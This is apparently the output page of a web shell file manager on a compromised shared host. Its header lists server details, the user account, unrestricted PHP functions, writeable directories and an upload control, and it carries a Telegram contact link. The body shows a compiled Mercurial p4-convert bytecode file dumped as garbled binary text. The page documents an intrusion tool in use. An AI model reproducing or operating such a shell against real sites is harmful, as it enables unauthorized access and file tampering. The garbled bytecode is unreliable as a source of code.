https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/hgext/convert/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/hgext/convert/__pycache__/p4.cpython-310.pyc
o

�]Lb	3�@s~ddlmZddlZddlZddlmZddlmZmZddl	m
Z
mZmZddl
mZdd	�Zd
d�ZGdd
�d
ej�ZdS)�)�absolute_importN)�_)�error�util)�dateutil�procutil�
stringutil�)�commonccs6�z	t�|�}|s
WdS|VqtyYdSw)z,Yield the dictionary objects generated by p4TN)�marshal�load�EOFError)�f�d�r�2/usr/lib/python3/dist-packages/hgext/convert/p4.py�loaditers�
��rcCs&gd�}|D]
\}}|�||�}q|S)aQPerforce escapes special characters @, #, *, or %
    with %40, %23, %2A, or %25 respectively

    >>> decodefilename(b'portable-net45%252Bnetcore45%252Bwp8%252BMonoAndroid')
    'portable-net45%2Bnetcore45%2Bwp8%2BMonoAndroid'
    >>> decodefilename(b'//Depot/Directory/%2525/%2523/%23%40.%2A')
    '//Depot/Directory/%25/%23/#@.*'
    ))s%2A�*)s%23�#)s%40�@)s%25�%)�replace)�filename�replacements�k�vrrr�decodefilename&s	rcs�eZdZd&�fdd�	Zdd�Zdd�Zdd	�Zejd
d��Z	ejdd
��Z
ejdd��Zejdd��Zejdd��Z
ejdd��Zdd�Zdd�Zdd�Zd&dd�Zdd�Zd d!�Zd"d#�Zd$d%�Z�ZS)'�	p4_sourceNcs�ddlm}tt|�j||||d�d|vr$|�d�s$t�td�|��tj	ddd	�i|_
|j�d
d|j
�|_t�d�|_t�d
�|_t�d�|_|rYt|�dkr[t�td���dSdS)Nr	)�convcmd)�revs�/�//s%%s does not look like a P4 repository�p4F)�abort�convertsp4.encodingsE([a-z]+)?(text|binary|symlink|apple|resource|unicode|utf\d+)(\+\w+)?$sA\$(Id|Header|Date|DateTime|Change|File|Revision|Author):[^$\n]*\$s\$(Id|Header):[^$\n]*\$s8p4 source does not support specifying multiple revisions)�r�superr�__init__�
startswithr
�NoRepor�	checktool�revmap�ui�config�
orig_encoding�encoding�re�compile�re_type�re_keywords�re_keywords_old�lenr�Abort)�selfr,�repotype�pathrr��	__class__rrr';s2
�������zp4_source.__init__cCs
||_dS)a�Sets the parsed revmap dictionary.

        Revmap stores mappings from a source revision to a target revision.
        It is set in convertcmd.convert and provided by the user as a file
        on the commandline.

        Revisions in the map are considered beeing present in the
        repository and ignored during _parse(). This allows for incremental
        imports if a revmap is provided.
        N)r+)r7r+rrr�	setrevmap^s
zp4_source.setrevmapcCsJdt�|�}tj|dd�}i}t|�D]}|�dd�}|r"d||<q|S)zRead changes affecting the pathsp4 -G changes -s submitted %s�rb��mode�changeNT)r�
shellquote�popenr�get)r7r9�cmd�stdout�	p4changesr�crrr�_parse_viewks�zp4_source._parse_viewc&Cs�i}i}i}i}i}i}g}	|�td��d|vr9|�|�|��|�d�r4|�d�r4|dd�di}
n]ddi}
nXdt�|�}t�	tj
|d	d
��}i}
|D]B}
|
�d�r�||
��\}}|�|�|��|�d�r{|�d�r{|dd�}|dd�}|d
d�}||�d�dd�}||
|<qNt
|��td�}t
|
��tdd�}|j�dd�}|�td��d}|D�]{}|r�t|�t|�kr�q�|jr�t|�t|jd�kr�q�||jvr�|}q�|r�|g}ng}|�|�}|�||�}|j�d�}t|�dk�r|d�d�}nd}d|j|f}|�t�|d�d�g}i}g}d}d||v�r�d||v�r�|d|}d}|D]} |���| ����rQt|
| |t| �d��}n�q5|�rx|�||d|f�|||<|� d|�dk�rt|�|�|||<|d7}d||v�r�d||v�s+|D]�}||}dt�|�}!tj
|!d	d
�}"d}#t!|"�D]e}d}$d}d ||v�r�|d ||k�r�|d|dk�r�d}%d!||%f|v�r�|d"||%fd#k�r�|d!||%f}$n
|%d7}%d!||%f|v�s�|d7}d ||v�s�|$�r
|$|v�r
||$}#n�q�|#�r|#||<�q�|�"td$�||f��q�|||<|||<|||<|}q�|�r>t|�dk�r>|g}	||||	|d%�S)&z4Prepare list of P4 filenames and revisions to importsreading p4 views
r r!s/...N����sp4 -G client -o %sr=r>sViews...�r	)�keyT)rL�reverser$sp4.startrevscollecting p4 changelists
rs
s **empty changelist description**s%s %s�P�
sdepotFile%dsrev%dsaction%dsmove/addsp4 -G filelog %sschange%ds	file%d,%dshow%d,%ds
moved froms*cannot find source for copied file: %s@%s
)�	changeset�files�copies�heads�	depotname)#�statusr�updaterHr(�endswithrrArrrB�split�find�sorted�keys�intr5r,r-rr+�_fetch_revision�_construct_commit�desc�
splitlines�rstrip�revr�ellipsis�lowerr�appendrCr�warn)&r7r,r9rF�	changeset�	files_map�
copies_map�	localname�	depotname�heads�viewsrD�
clientspec�client�sview�cview�	vieworder�startrev�lastid�change�parentsrrG�descarr�	shortdesc�t�files�copies�copiedfiles�i�oldnamerr�flcmd�flstdout�copiedfilename�
copiedoldname�jrrr�_parsevs�

�


�
���
����zp4_source._parsecCs|�|j|j�S�N)r�r,r9�r7rrr�_parse_onceszp4_source._parse_oncecC�
|jdS)NrR�r�r�rrrr{�
zp4_source.copiescCr�)NrQr�r�rrrrzr�zp4_source.filescCr�)NrPr�r�rrrrgr�zp4_source.changesetcCr�)NrSr�r�rrrrlr�zp4_source.headscCr�)NrTr�r�rrrrkr�zp4_source.depotnamecCs|jSr�)rlr�rrr�getheads szp4_source.getheadscCs�dt�d|j||f�}d}	tj|dd�}d}g}d}t|�D]t}	|	d}
|	�d�}|
dkr>|s<t|	d	|�}n[|�|
d
kr�|	�d�}|dvrNd
S|j�|	d�}
|
r�d}|
�	d�p`d|
�	d�pfd}d|vrnd}|
�	d�dkrwd}d|vr|j
}nd|vr�|j}n
|
dks�|
dkr�|�|�d}q"|s�nq|dur�d
Sd�
|�}|r�|�d|�}|dkr�|�d�r�|dd�}||fS)Nsp4 -G print %ss%s#%sTr=r>scodesdataserrorsgenericsstatsaction)spurgesdeletesmove/delete)NNstyperJr	��xrKssymlink�lsko�kstextsbinarys$\1$rO���)rrArkrBrrC�IOErrorr2�match�groupr4r3re�join�subrW)r7�namerbrD�	lasterrorrEr?�contents�keywordsr�code�data�action�p4type�flagsrrr�getfile#sd�

��
�0
zp4_source.getfilecCs*|r	t�td���|j||j|t�fS)Ns'convert from p4 does not support --full)rr6rrzr{�set)r7rb�fullrrr�
getchangeseszp4_source.getchangesc
Csj|�|�dd��}t|d�df}|durg}tj|�|d�t�|d�||d|d|d|dd	�d
�S)ze
        Constructs a common.commit object from an unmarshalled
        `p4 describe` output
        sdescrJstimerNsusers%Y-%m-%d %H:%M:%S %1%2r@)r"sconvert_revision)�author�datervr_�branchrb�extra)�recoderCr\r
�commitr�datestr)r7�objrvr_r�rrrr^js
�zp4_source._construct_commitcCs d|}tj|dd�}t�|�S)zXReturn an output of `p4 describe` including author, commit date as
        a dictionary.sp4 -G describe -s %sr=r>)rrBrr)r7rbrDrErrrr]~s
zp4_source._fetch_revisioncCsH||jvr
|j|S||jvr|�|�}|j|dd�St�td�|��)N)rvs1cannot find %s in the revmap or parsed changesets)rgr+r]r^rr6r)r7rbrrrr�	getcommit�s




�zp4_source.getcommitcCsiSr�rr�rrr�gettags�szp4_source.gettagscCstdd�|j|D��S)NcSsg|]}|d�qS)rr)�.0�xrrr�
<listcomp>�sz-p4_source.getchangedfiles.<locals>.<listcomp>)rZrz)r7rbr}rrr�getchangedfiles�szp4_source.getchangedfilesr�)�__name__�
__module__�__qualname__r'r<rHr�r�
propertycacher�r{rzrgrlrkr�r�r�r^r]r�r�r��
__classcell__rrr:rr:s4#






B

r)�
__future__rrr0�mercurial.i18nr�	mercurialrr�mercurial.utilsrrrr%r
rr�converter_sourcerrrrr�<module>s

https://t.me/RX1948 - 2025